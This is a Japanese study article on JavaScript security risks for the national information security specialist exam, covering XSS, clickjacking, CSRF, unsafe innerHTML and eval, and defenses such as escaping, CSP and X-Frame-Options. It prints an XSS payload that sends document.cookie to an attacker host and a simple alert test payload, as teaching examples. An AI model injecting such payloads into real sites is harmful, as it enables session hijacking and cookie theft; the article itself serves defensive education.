Webアプリケーションのインターフェースや動的コンテンツの制御に欠かせない技術、それがJavaScriptです。現代のWebシステムにおいては、フォームの入力補助や非同期通信(AJAX)、DOMの操作など、ユーザビリティを高めるために広く使われています。
しかし、その利便性の裏には重大なリスクが潜んでいます。とくにセキュリティ面では、XSS(クロスサイトスクリプティング)をはじめとする深刻な脆弱性の温床になりやすく、IPAが実施する情報処理安全確保支援士試験においても頻出の出題テーマとなっています。
本記事では、JavaScriptが引き起こす可能性のあるセキュリティリスクについて、攻撃手法から防御策まで体系的に整理します。情報処理安全確保支援士の試験対策としてだけでなく、実務でも役立つ「守るべき実装」の基礎知識として、ぜひ活用してください。
目次
JavaScriptの基本とセキュリティにおける位置付け
JavaScriptは、HTMLやCSSと並んでWeb開発における基本技術の一つであり、主にブラウザ上で実行されるクライアントサイドスクリプトとして広く利用されています。ユーザーの操作に応じた動的な表示変更や、入力補助、自動計算など、多くのインタラクティブな機能を実現するための基盤です。
セキュリティの観点からJavaScriptが特別な注目を集めるのは、その柔軟さと自由度にあります。JavaScriptはHTMLの中で直接記述でき、DOM(Document Object Model)を通じてWebページの構造や内容を自在に変更することが可能です。つまり、ユーザーの表示画面や操作を直接コントロールできる力を持っているということです。
このような特性が、悪意ある第三者に悪用された場合、大きなリスクを生む原因となります。たとえば、信頼されているWebページ上にJavaScriptのコードを挿入することで、ユーザーのクッキー情報を盗んだり、偽の入力フォームを表示させたりすることができます。
また、JavaScriptは外部サイトとの通信も可能であり、攻撃者が用意したサーバーにユーザー情報を送信するような処理も組み込めます。このような機能は、セキュリティ対策を施していないWebサイトにとって、重大な脅威となります。
情報処理安全確保支援士試験では、こうしたJavaScriptの特徴を踏まえた問題が出題されます。攻撃者がどのようにJavaScriptを悪用し、どのような被害が発生するか、またどのような対策を講じるべきかを理解することが、合格への近道となるのです。
JavaScriptを悪用する主な攻撃手法│XSS・クリックジャッキング・CSRF
JavaScriptの持つ柔軟な機能は、利便性の裏側でさまざまな攻撃ベクトルとなり得ます。情報処理安全確保支援士試験では、JavaScriptを悪用した具体的な攻撃手法についての出題が頻繁に見られます。ここでは特に出題頻度が高い「XSS」「クリックジャッキング」「CSRF」の3つを中心に解説します。
■ XSS(クロスサイトスクリプティング)
XSSは、Webアプリケーションの入力値を適切に検証・無害化せずにそのままHTMLとして出力してしまうことにより、悪意あるスクリプトが実行されてしまう攻撃です。たとえば、掲示板の投稿欄や検索フォームに次のようなコードが入力された場合:
<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
このスクリプトがそのまま画面上にレンダリングされると、ユーザーのクッキーが盗まれ、攻撃者のサーバーに送信されてしまいます。
XSSは大きく分けて以下の3種類があります:
- 反射型XSS:一時的にURL等に仕込まれるタイプ(検索フォームなど)
- 格納型XSS:投稿内容などにスクリプトが保存されるタイプ(掲示板やコメント欄)
- DOMベースXSS:JavaScriptでDOM操作した結果発生するタイプ(後述)
■ クリックジャッキング(Clickjacking)
クリックジャッキングとは、ユーザーが意図しない操作を行うようにUIを偽装する攻撃です。透明なiframeで重要なボタンを覆い、ユーザーが自分の意志で操作しているように見せかけて、実際は攻撃者が用意したUIを操作させるという手法が典型です。
JavaScriptはこの攻撃において、透明化や位置調整といったUIの制御に使用されます。被害例としては、ソーシャルボタンの不正押下や、管理画面での不正操作などがあります。
■ CSRF(クロスサイトリクエストフォージェリ)
CSRFは、ユーザーがログイン中のWebサービスに対して、不正なリクエストを送信させる攻撃です。たとえば、銀行の送金機能を悪用し、ユーザーが意図しない相手に振り込みをさせるといったケースが該当します。
JavaScript自体がCSRFの主体になるわけではありませんが、JavaScriptを使って意図しないフォーム送信や画像読み込みによるGETリクエストを発生させることで、誘導型のCSRFを補助する形で関与します。
これらの攻撃手法は、情報処理安全確保支援士試験の午後問題で「シナリオ型事例」として出題されることが多く、コードの読解とリスクの特定能力が問われます。リスクを単に暗記するだけでなく、「どう悪用されるか」を理解しておくことが重要です。
DOM操作によるセキュリティリスク│innerHTMLとevalの危険性
JavaScriptの大きな利点のひとつが、DOM(Document Object Model)を通じてHTML構造を動的に操作できることです。これにより、ユーザーの操作に応じてページ内容を柔軟に変えることができる反面、DOM操作の誤用が深刻なセキュリティリスクにつながることもあります。
ここでは、特に注意すべき2つの機能――innerHTML
とeval
――の危険性を中心に解説します。
■ innerHTMLのリスク
innerHTML
は、指定した要素内にHTML文字列を直接挿入するためのプロパティです。非常に便利で多用される一方、信頼できない入力をそのまま挿入するとXSSの原因になります。
document.getElementById("output").innerHTML = userInput;
このコードに対して、攻撃者が以下のような入力を与えると:
<script>alert('XSS!');</script>
スクリプトがそのまま実行されてしまいます。このように、innerHTML
はHTML構文として解釈されるため、意図しないスクリプト実行につながりやすいのです。
対策としては、以下のような方法が有効です:
- HTMLエスケープ処理(
<
,>
,&
などに変換) textContent
やinnerText
の使用- HTMLテンプレートエンジンの利用(React, Vueなど)
■ evalのリスク
eval()
は、文字列として渡されたJavaScriptコードをその場で実行する危険な関数です。柔軟性がある反面、任意のコードが実行されるため、攻撃者にとって非常に魅力的な標的となります。
let calc = "2 + 3 * 5";
let result = eval(calc);
evalに渡す文字列を動的に外部入力から受け取っていた場合、攻撃者は任意のJavaScriptを実行できてしまいます。これは、コードインジェクションという形で脆弱性を生み出します。
evalと類似の危険性を持つ関数には以下があります:
Function()
コンストラクタsetTimeout()
やsetInterval()
に文字列を渡す形式
これらの関数の利用はできる限り避け、安全な代替手段(例えばJSON.parse()
の使用など)を採用するべきです。
DOM操作はWebアプリの中核を担う便利な機能である一方、不用意な実装がセキュリティ事故を招くことを、情報処理安全確保支援士試験でも繰り返し警告しています。特に午後問題では、こうした不適切なコードが提示され、脆弱性の特定や対策を問う出題がなされています。
JavaScriptセキュリティ対策│安全な記述とブラウザ制御
JavaScriptの脆弱性を悪用した攻撃を防ぐためには、「攻撃されにくい実装」と「ブラウザ側の制限強化」の両面から対策を講じる必要があります。ここでは、情報処理安全確保支援士試験でも問われる代表的なセキュリティ対策を紹介します。
■ サニタイズ・エスケープ処理の徹底
XSSを防ぐ基本は、ユーザーの入力をHTMLに埋め込む前に適切なエスケープ処理を施すことです。
<
→<
>
→>
&
→&
"
→"
'
→'
たとえば、JavaScriptでDOMに値を挿入する場合、innerHTML
の代わりにtextContent
を使えば、ブラウザはその内容を「テキスト」として扱い、スクリプトとしては解釈しません。これが最も安全な出力方法の一つです。
■ Content Security Policy(CSP)の導入
CSPは、Webブラウザに対して「このサイトで許可されたスクリプトやリソースの範囲」を明示的に指示するセキュリティ機構です。適切に設定すれば、外部から挿入されたスクリプトの実行を抑制できます。
Content-Security-Policy: default-src 'self'; script-src 'self';
この設定により、外部サイトから読み込まれたJavaScriptや、HTML中に直接書かれた<script>
タグの一部を実行できなくなります。
CSPは、完全な防御策ではありませんが、XSSの被害を大幅に軽減するための強力な防御壁となります。
■ JavaScriptの無効化・機能制限の活用
場合によっては、JavaScriptそのものを制限することも有効です。
X-Frame-Options: DENY
でフレームの使用を制限- 特定ディレクトリへのスクリプトアクセス制限
- HTMLテンプレートエンジンによる自動エスケープ処理
さらに、近年ではブラウザ拡張機能を用いた制限や、ユーザーによるJavaScriptの無効化設定もありますが、開発者の立場としては「無効化されても安全に動作する設計」を心がけるべきです。
■ ライブラリの選定とアップデート管理
古いJavaScriptライブラリには脆弱性が残っていることが多いため、常に最新バージョンを使用することが重要です。また、利用しているライブラリの依存関係も含めて、セキュリティチェックを定期的に行いましょう。
試験では、こうした対策の「選択肢を正しく判断できるか」が問われます。「スクリプトを無害化するには?」「ポリシー設定で防げるか?」など、用語と効果の組み合わせを正確に理解しておくことが得点の鍵となります。
情報処理安全確保支援士試験における出題傾向と攻略ポイント
情報処理安全確保支援士試験では、JavaScriptに関連するセキュリティトピックが午前・午後問わず繰り返し出題されています。単なる知識の有無ではなく、攻撃の流れ・リスクの把握・対策の選択まで、実務レベルの理解が問われます。
■ 午前試験の出題傾向(知識問題)
午前I・IIの試験では、JavaScriptに関する用語・定義・リスク要因が問われます。具体的な出題パターンとしては以下のようなものがあります:
- 「クロスサイトスクリプティング(XSS)」の説明として適切なものを選べ
- JavaScriptの
eval()
関数に関連するリスク - DOMベースXSSの特徴と対策
- Content Security Policyの役割
午前問題では、正確な用語理解と、技術的特徴の切り分けがポイントとなります。特に「複数の対策から正しいものを選ぶ」形式の問題に強くなる必要があります。
■ 午後試験の出題傾向(事例問題)
午後試験では、実際のWebシステムのシナリオが提示され、その中で発生し得る脆弱性を分析・指摘させる問題が出題されます。JavaScriptに関連する設問では、以下のような観点が頻出です:
- ユーザー入力を
innerHTML
に挿入しているコードを読み、脆弱性の有無を判断 - 攻撃者がXSSを利用してクッキーを奪取する一連の流れを説明
- 不適切なCSP設定を指摘
- 対策コードとして正しい選択肢を記述(記述式)
午後問題では、コードの読解力と攻撃者視点でのシナリオ理解力が求められます。表面的な知識だけでは対応が難しいため、「なぜこのコードが危ないのか」を言語化できるかがカギになります。
■ 攻略ポイントと学習法
試験対策として意識すべきポイントは次のとおりです:
- 「JavaScriptの何が危険なのか」を論理的に説明できるようにする
- IPAが提供する過去問と解答解説を丁寧に分析する
- 攻撃の再現・確認を安全な環境で実践(XSSのデモサイトなどを活用)
- HTMLやHTTPの基礎を押さえた上で、JavaScriptの仕様を正確に理解する
また、IPA公式サイトにある「安全なウェブサイトの作り方」や「脆弱性対応ガイドライン」も、午後対策として非常に有用です。こうした公的資料をベースに、正しい対策とその理由を整理しておくと、記述問題でも説得力のある解答が可能になります。
まとめ│JavaScriptのリスクを理解し、安全なWeb実装へ
JavaScriptは、現代のWebシステムにおいて欠かすことのできない技術ですが、その強力な表現力や柔軟性は、使い方を誤れば重大なセキュリティ事故につながる可能性を秘めています。特にXSSやクリックジャッキングといった脅威は、開発者の些細な油断を突いて悪用されます。
情報処理安全確保支援士試験では、こうしたリスクに対する知識・分析力・判断力が問われます。ただ用語を丸暗記するだけではなく、「なぜそのリスクが生まれるのか」「どんな対策が有効なのか」を理解し、説明できる力を身につけることが重要です。
試験対策としては、以下のポイントを意識しましょう:
- JavaScriptに関する基本仕様と脆弱性パターンの把握
- 攻撃者視点で考えるシナリオ分析力の習得
- 安全なコーディングとブラウザ制御策の理解
- 過去問を用いた実践的な演習と記述トレーニング
そして何より、これらの知識は試験のためだけでなく、現場で通用するセキュリティスキルとして活かすことができます。セキュアなJavaScript実装を意識することは、安全なWebサービス開発の第一歩です。
試験本番でも、現場でも、攻撃に強い知識と判断力を持った技術者として活躍できるよう、しっかりと理解を深めていきましょう。